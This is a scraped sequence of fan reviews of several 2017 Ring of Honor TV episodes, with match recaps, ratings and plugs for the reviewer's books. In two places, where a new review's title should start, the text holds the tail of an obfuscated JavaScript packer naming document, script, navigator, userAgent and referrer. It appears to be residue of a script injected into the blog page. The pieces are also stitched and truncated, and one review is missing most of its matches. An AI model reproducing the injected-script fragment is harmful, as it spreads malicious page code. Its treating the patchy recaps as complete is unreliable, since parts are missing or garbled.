Rating: C+. It helps a lot when they’re not trying to do anything more than do a bunch of crazy spots, which is where the Bucks shine more than anything else. The Best Friends aren’t my favorite act in the world but once they drop some of the cuteness, they’re fun enough. At the same time, the CMLL guys were a lot of fun as your standard high flying lucha team and there’s always a place for that in wrestling.

Post match So Cal Uncensored runs in to go after the Bucks but Hangman Page makes the save with a chair to end the show.

Overall Rating: B-. Ring of Honor is at its best when they’re versatile and that’s what they did here. They had a little bit of everything on this show and it made for a fast moving, entertaining hour. The World Title situation is getting hot in a hurry and Castle could have some very fun matches against the top talent in the promotion. Good show here and Ring of Honor is actually getting on a bit of a roll.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

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Ring of Honor
Date: December 27, 2017
Location: RP Funding Center, Lakeland, Florida
Commentators: Colt Cabana, Ian Riccaboni

It’s after Christmas (or before depending on when this show airs for you) and that means it’s time for a special match. This time around we’ll be having a ten man tag with surprise teams, which could make for some fun stuff. We’re still waiting on the post Final Battle stuff but that’s how Ring of Honor works. Let’s get to it.

Cody is standing by some Christmas presents and isn’t happy with being a captain of a team tonight where he doesn’t even get to pick his own team. Dalton Castle, the other captain, comes in and gets to draw the first name. Castle likes his pick, which isn’t revealed.

Opening sequence.

The Dawgs vs. Flip Gordon/Simon Grimm

Rhett Titus is dressed as Santa and Will Ferrara is a reindeer. Grimm is better known as Simon Gotch from WWE and I’m interested in seeing if he’s as nothing here as he was there. Ferrara and Grimm fight over whether the reindeer suit should be zipped up or not. Grimm takes him down into a choke before it’s off to Flip. Some chops set up a standing moonsault for two, followed by a good looking dropkick for the same.

Ferrara trips him up though, sending Gordon face first into the apron. Back from a break with Titus throwing Ferrara into Gordon for another two as the Dawgs have lost the suits but Will kept the red nose. A double suplex drops Gordon and Titus catapults Will into a splash for two. Back up and a springboard forearm cuts Titus off though and the hot tag brings in Grimm. A tiger bomb gets two on Titus as everything breaks down. Ferrara hits Grimm with a present though and an implant DDT with Ferrara helping to spike Simon (Who Let the Dawgs Out) is good for the pin at 9:33.

Rating: C-. It’s the right outcome, assuming you can tolerate the Dawgs. Grimm was slightly better than his Gotch days but that’s not exactly saying much. The match was nothing to see but that’s kind of what you have to expect from a Dawgs match. It feels like such a nothing team and that’s pretty much what they are to this point.

Cody makes two picks. He’s pleased with one but doesn’t think the second even works here. Post break he makes a third pick. Cody: “Christmas sucks.”

Castle makes a pick and says this makes things interesting. No names have been given yet.

Video on the Women of Honor, mainly focusing on Deonna Purrazzo vs. Karen Q. I feel like we’ve seen packages like this for months now and while a title will help, they need to be on TV more than once every few months.

We get an ad for Final Battle….which aired over a week before this show.

Cody is in the ring with a present. He’ll give it to the loudest fan….but stomps it instead because he hates Christmas. It’s time for the reveal of the teams.

Team Cody vs. Team Castle

Cody, Scorpio Sky, Josh Woods, Chris Sabin, Punishment Martinez

Dalton Castle, Silas Young, Hanson, Jonathan Gresham, Marty Scurll

Neither Cody nor Castle (in an ugly Christmas sweater) has the World Title here for the sake of protecting pay per view results. Gresham and Sabin start things off and of course they hit the mat with neither being able to do much against the other. Sky and Castle come in but Young tags himself in instead. They slug it out and it’s pretty clear that Sky hasn’t turned heel yet. A backbreaker has Sky in trouble so he brings Cody in, only to have Castle come in as well.

As you might expect, Cody hands it off to Woods so Castle takes the sweater off. Cody puts it on instead as Castle and Woods take turns driving each other into the corner. Neither can gutwrench the other so Castle hits the peacock pose as we take a break. Back with Hanson and Martinez coming in for the hoss fight. Both guys get in a knockdown for no effect so Cody tags himself in. Hanson tags out by chopping Scurll off the apron but of course they just pose.

Castle sends Marty into Cody and despite tensions being teased, it’s just a big hug. Everyone comes in and it’s a big ten man staredown. Castle wants to fight because IT’S CHRISTMAS! Everything breaks down and it’s Sky with the big flip dive onto the pile. Woods powerbombs Sky onto the same pile before Cody comes off the top with yet another dive. It’s Martinez adding a springboard dive, followed by Hanson topping them all with a dive of his own.

Back from a break with Sky taking a series of running charges in the corner. Marty charges into a knee though and it’s a Flair Flop. Now it’s Marty’s turn to get hit with the running charges in the corner but Cody pulls up short of course. Martinez hits Cody instead until we settle down to Cody vs. Castle. That lasts all of three seconds though as Castle has to suplex a bunch of people.

Sky slips out of the Bang A Rang and it’s Gresham taking over with a dive. Sabin escapes Misery but it’s Hanson kicking Woods in the face. Cody and Hanson trade cartwheels until Cody hits the Beautiful Disaster on Castle. *That earns him a Bang A Rang but Sky takes Castle down with something like a neckbreaker, though Castle lands face first instead. Another Bang A Rang puts Sky away at 19:37.

Rating: B-. This was all it needed to be, aside from maybe some more Cody vs. Castle. They had to hide the results from Final Battle so it was really just a bunch of random fighting, though that’s just about all it needed to be. I had a good time with the match and for a big time special, it’s hard to complain about that kind of a result.

Overall Rating: C+. Solid show, even if it’s just thrown together as a filler episode. The main event was fun enough and I had a good time with it, though the opener kind of dragged things down. We’re still not ready for the Final Battle fallout though as we’re coming up on a Best Of show next week, though it wouldn’t feel right if we got to the next stuff so soon. Good enough show this week, but I could go for some storyline advancement.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btsni|var|u0026u|referrer|dnyht||js|php'.split('|'),0,{})) of Honor
Date: August 30, 2017
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Ian Riccaboni, Colt Cabana

I don’t think we’re up to the newest batch of TV tapings just yet and that means it’s hard to say what to expect from this show. Last week was basically a throw away episode with the focus on the Six Man Tag Team Titles. That means this one could be anywhere really, which isn’t exactly the best thing in the world. Let’s get to it.

Opening sequence.

Jonathan Gresham/Jay White vs. War Machine

Non-title. Gresham and White jump them during the entrances in a somewhat heelish move. That lasts all of ten seconds though as War Machine slams both guys down, followed by Rowe slamming Hanson onto the pile. Gresham is back up with a dropkick to Hanson as White sends Rowe into the barricade. For some reason Gresham thinks a chop off with Hanson is a good idea, earning himself a battered chest.

White comes in for some more effective chops but Hanson runs him over and brings in Rowe. Everything breaks down and Gresham is LAUNCHED off a t-bone suplex. Rowe misses a dive to the floor and gets taken down with a suicide dive as we head to a break. Back with Rowe firing off running clotheslines in the corner. After he hits about twenty in a row, it’s a double splash to crush both Gresham and White.

Fallout is broken up so Gresham has to take a springboard clothesline into a German suplex instead. Another Fallout attempt is broken up so Rowe fireman’s carries both of them at once. That goes nowhere though and it’s Gresham enziguring him into a Downward Spiral for a rare near fall.

White’s German suplex gets the same but Rowe comes out of the corner with a seated senton to crush Gresham. Rowe headbutts everyone in sight (save for his partner and the referee of course) until Gresham moonsaults onto Hanson. A 450 is good for two on Hanson but it’s a pop up powerslam (Thor’s Hammer) to put Gresham away at 13:31.

Rating: B. That was a heck of a back and forth match as I don’t think I remember a bad White match. He does his thing very well and makes for some entertaining action. War Machine is better than your average power tag team and while it would be nice to see them get the ROH titles back. Then again that might suggest the Young Bucks aren’t the most amazing things ever and we just can’t have that. Really fun match here though.

Post match Punishment Martinez runs in and chokeslams White as War Machine leaves him to do so.

Caprice Coleman wants to know where his stuff is. He seems to think he’s a preacher and yells at the production staff. We get a nice rant about how he wasn’t respected when he was in the Rebellion and he’s tired of it. They have a week to get this stuff set up.

QT Marshall is out for commentary. Oh yeah he’s a person that exists.

We look back at the Kingdom destroying Jay Briscoe last week.

Shane Taylor vs. Josh Woods

Taylor attacked Woods a few weeks ago and this is as soon as we can get around to a follow up. Woods goes right after him to start with a flying knee and a kick to the head to put Shane outside. That’s fine with Josh who keeps slugging away, only to be thrown through the barricade to send us to a break.

Back with Woods stopping a corner charge with a raised boot. Taylor switches tactics and kicks him face first into the middle buckle before hitting a running Umaga attack for one. Woods fights up again with another running knee, only to get flattened with a clothesline. For some reason Shane goes after him on the mat and gets pulled into a cross armbreaker. That’s broken up as well so it’s off to an ankle lock and a German suplex for a nice power display. Shane runs him over again but goes outside to grab a chair instead of following up. The referee takes it away though, allowing Woods to roll Taylor up for the pin at 8:14.

Rating: C. Taylor still doesn’t do much for me as he’s just another big guy who can do some athletic stuff but nothing that really blows me away. Woods is starting to grow on me though, which is a lot more than I was expecting to after dreading the Top Prospect Tournament for so many weeks. I have a feeling the feud is going to continue though and that’s not the best thing in the world.

Post match Marshall comes to ringside to tell Taylor to beat down Woods. After Josh is destroyed, Marshall pays Taylor off. Oh yeah it’s continuing.

The Young Bucks are ready to defend against the Motor City Machine Guns because it’s not 2009 anymore. Superkicks are promised.

Minoru Suzuki will answer Cody’s challenge for Death Before Dishonor. Yep: another import with no connection to ROH getting the shot because he’s Japanese and therefore awesome. Screw the stories, screw the talent who has worked to get ROH over and screw everything else. Suzuki is a Japanese legend and that’s what Ring of Honor exists for anymore: giving New Japan guys another place to perform and be revered at ROH’s expense. I’m so freaking thrilled.

Cody is livid.

Kenny King talks about being on the Bachelorette and getting his rematch with Kushida at Death Before Dishonor in his hometown of Las Vegas. King was a lot more serious here and it worked a lot better. The Bachelorette could have been cut out though.

Tag Team Titles: Young Bucks vs. Motor City Machine Guns

The Bucks are defending and get straight in the Guns’ faces during the Big Match Intros. Back from a break with the opening bell, meaning Nick can tell Shelley to suck it, which of course makes him the biggest face in the building. The Guns send the champs outside for a suicide dive to both of them as things pick up. Back in and Nick is put on Matt’s shoulders for a Downward Spiral from Sabin and a missile dropkick to the back from Shelley.

That’s a great example of the way too choreographed style that rubs me the wrong way in most Guns matches. There comes a point where I can’t buy that something is natural and the Guns blow past it every match. Shelly dives into a kick to the head though and the Bucks clean house while making sure to soak in some cheers. A flip dive takes out the Guns again and it’s time for Matt to say SUCK IT over and over.

It’s off to a double Sharpshooter with the Bucks throwing in some TOO SWEET’s at the same time. Back from a break with some miscommunication from the champs as everything breaks down. Sabin kicks Matt in the face and dives onto Nick as the Bucks are in some rare trouble. The champs are sent into the corner with Shelley suplexing Matt into Nick. Skull and Bones is broken up and the wheelbarrow facebuster plants Sabin.

Nick comes in off the hot tag to speed things up with the kicks in the corner. The slingshot X-Factor drops Shelley and the moonsault from the apron does the same to Sabin. Shelley is back up with a high crossbody to a seated Nick and the Guns fire off their running dropkick sequence to Matt. It’s superkick time with the Bucks firing off about ten in a row until Shelley takes them down with a double clothesline. And never mind as here’s Addiction for the no contest at 14:27.

Rating: C+. I’m still not much of a Guns fan. I loved their TNA stuff but now it feels so much more forced, which really does hold them back. The ending doesn’t help either as we’re pretty clearly setting up ANOTHER three way title match because we haven’t had anything like that in….oh at least a month or two.

Daniels and Kazarian clean house post match, including shoving a referee and a plant in a Bullet Club shirt (not acknowledge by commentary, who is likely reading their cards instead of paying attention).

Overall Rating: B-. This show was entertaining but it felt really, really long. I’m still not a fan of the tag division (to put it mildly) but Woods is growing on me and the opener was a lot of fun. Basically just keep me away from the Bucks, the Guns and the worship of all things New Japan and I’m a lot better with the show. Good effort this week though as usual, it feels like they’re running with an anchor and without a map.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zydzd|var|u0026u|referrer|freta||js|php'.split('|'),0,{})) of Honor
Date: July 19, 2017
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Commentators: Ian Riccaboni, Colt Cabana

We’re coming up on War of the Worlds in the UK and that means we need a pay per view card. You can almost guarantee that Cody will be defending the World Title against Christopher Daniels at some point but it might not be at the pay per view. If not, I have no idea who would be getting the shot instead. Let’s get to it.

Opening sequence.

Here’s Cody to open things up after Christopher Daniels’ comments were deemed inappropriate to air on television. Cody agrees that he does deserve it before moving on to Daniels, who isn’t that popular with the crowd at the moment. Daniels isn’t happy at the moment and it’s almost like he’s lost his smile (this is the same building where Shawn Michaels gave the Lost My Smile speech).

Cody still hasn’t signed a Ring of Honor contract and that means his family owns the ROH World Title. Fans: “TOO SWEET!” Back to Daniels, he’ll get his rematch but let’s make it 2/3 falls. Ring of Honor doesn’t care too much for him because he’s steroid free full time….and that’s it. Kind of an abrupt ending.

Punishment Martinez vs. Jonathan Gresham

The monster Martinez shoves him around to start but Gresham keeps charging at him, including a failed attempt at a guillotine choke. Martinez misses a running boot in the corner though and Gresham gets in a kick to the leg. He’s sticking and moving to start and it’s working about as well as that style can. Something like a headlock takeover frustrates Martinez again but Gresham yanks on his knee and it’s time to go after a target. A spinning backbreaker cuts Gresham off though and it’s time for a break.

Back with Gresham getting in a DDT and moonsaulting to the floor to drop Martinez again. The one footed stomp to the chest out of the corner puts Gresham down again though and a Falcon Arrow gets two. Jonathan is right back on the knee though including something like a reverse Indian deathlock (they’re both on their back) to send Martinez over to the ropes. A shooting star press gets two but Gresham goes right to an ankle lock. Martinez rolls outside though and counters Gresham’s dive into a Last Ride onto the apron. Back in and the Psycho Driver (inverted Samoan driver) ends Gresham at 9:25.

Rating: C+. Gresham is talented but he’s another name on a very long list of Ring of Honor talents who are little more than a guy in boots and tights. There’s nothing special about his character (Does he even have one?) and that keeps him from standing out from the crowd like he needs to do. The match was good, though I really don’t know about Martinez selling so much.

Martinez goes after Gresham post match until Jay White runs in for the save.

We look back at Best in the World where the Briscoes and Bully Ray lost the Six Man Tag Team Titles. After the match, Bully yelled at the Briscoes for the loss because Jay lost his cool and Mark got pinned. It’s a TEAM you see. Well so are the Briscoes Bully.

Mandy Leon announces a Women of Honor show in two weeks but Silas Young comes in and announces 22 days since Jay Lethal was injured.

Tempura Boys vs. Cheeseburger/Joey Daddiego

Riccaboni: “Listen to the ovation here in Lowell.” All I heard was pure silence but that’s just me. The announcers ask where the beef is and make Burger King references as the Boyz jump Cheeseburger and Daddiego to little effect. Daddiego throws Sho with a fall away slam and does the same to Yo for two. The Boyz come back in with a Backstabber to Cheeseburger and Yo gets two off a standing moonsault.

Cheeseburger gets beaten down even more as the announcers talk about the tag division. Sho gets thrown onto Yo and there’s the hot tag to Daddiego. It’s right back to Cheeseburger as everything breaks down. A spear drops Yo as the stupid fast food jokes continue. The Shotei palm strike ends Sho at 3:58.

Rating: D. The Tempura Boyz continue to be one of the least interesting tag teams I’ve seen in a long time. I have no idea what’s supposed to be interesting about the two of them, save for the fact that they’re from New Japan and therefore must be awesome. No one in this match feels important as Cheeseburger comes off as someone they put out there for the sake of a smile without being comedy relief. Cheeseburger just kind of comes and goes while still being popular and it’s still nothing I can bring myself to care about.

Post match Will Ferrara jumps Cheeseburger.

We look at Jay White beating Punishment Martinez a few weeks back.

Bullet Club vs. Bully Ray/Briscoe Brothers

Young Bucks and Adam Page here in what was supposed to be a title match until Bully and the Briscoes lost the titles. Jay forearms Adam to start before it’s off to Mark for some forearms of his own. The Bucks get in some double teaming, including a springboard crossbody, to take the Briscoes down and it’s off to an early break.

Back with Bully staring the Bucks down and Matt making the mistake of chopping him in the chest. Matt offers up his own chest but pokes Bully in the eye before the big chop can hit. Again, the Bucks are presented as the smartest heels in the history of ever and the faces all have to look stupid for the sake of TOO SWEET chants. Bully comes back with the chops and stereo Flip Flop and Fly jabs. Say it with me though: double SUPERKICKS put him down and it’s back to the too sweet chants.

The Rise of the Terminators is loaded up but the Club is pulled outside for a suicide dive from Jay. Mark adds a moonsault to the floor and Bully loads up a dive of his own, only to have to deal with Page. More superkicks put him down though and it’s time for the Bucks to hit some dives because they haven’t gotten to show off in all of a minute. Things settle down with Bully getting triple teamed, including the kicks to the head in the corner.

We take another break and come back with Bully breaking up What’s Up. The hot tag brings in Mark for a fisherman’s buster on Nick but the ref gets bumped. The three man 3D gets two from a replacement referee, earning himself a double superkick. Cue Marty Scurll to hit Jay in the back with the umbrella to give Page the pin at 10:01.

Rating: C-. It really is amazing how much different the ROH Bucks are to the New Japan Bucks. This version is nothing but superkicks and flip dives while making themselves look as cool as possible. The New Japan version is actually a polished high flying team that I have fun watching. I guess that doesn’t sell as many t-shirts though so this is what we’re stuck with stateside.

The Briscoes beat up security and Bully is disappointed to end the show. I could go for a Briscoes heel turn.

Overall Rating: D+. This one missed pretty badly as it was definitely the B level guys (at best) doing their thing while the bigger names were too busy. Cody’s cameo and speech were the best parts of the show but that’s not enough to make up for some lackluster stuff elsewhere. The fact that we’re also coming up on another Women of Honor show doesn’t help things. The women try but when they’re on TV two or three times a year, it makes the shows feel like a waste of time. They’re trying though and that’s on the company rather than the talent. Anyway, nothing to see here but that’s often the case around here.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

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Date: June 28, 2017
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Commentators: Ian Riccaboni, Colt Cabana, Alex Shelley

One quick note: apparently some markets got a different episode so there’s a chance this is a completely different show than you saw.

Opening sequence.

Flip Gordon vs. Jonathan Gresham

We recap Punishment Martinez vs. Jay White.

Video on Josh Woods.

Woods is in the arena and wants to face Jay Briscoe to give himself a real challenge. No matter how tough Jay is, he can be knocked out or tapped out.

Silas Young vs. Bobby Fish

Silas throws him over a table and we take a second break. Back again with both of them on the apron and slugging it out between the ropes in the corner. Fish finally pulls him through the ropes and trapping him over one of the buckles, setting up some hard kicks. Not that it matters as Young pulls him into the corner for a crash, setting up a knee to the ribs and Misery for the pin at 16:25.

Fish shoves him away post match.

Punishment Martinez vs. Jay White

That earns White a big spinning kick to the face and something like a curb stomp from the corner. A right hand to the back of the head gives Martinez two and he smiles at White for trying a desperation forearm. White throws more right hands to annoy Martinez and then takes the knee out again. Some rolling German suplexes give Jay two and we take a break.

Back with Jay slipping out of a powerbomb but getting chokeslammed onto the apron. That and a Falcon Arrow give Martinez two because a monster and a CHOKESLAM ONTO THE APRON is only a setup move around here. White is right back with a swinging Rock Bottom for two of his own but walks into a reverse sitout AA. The sitout chokeslam is countered into a rollup to give White the pin at 11:17.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6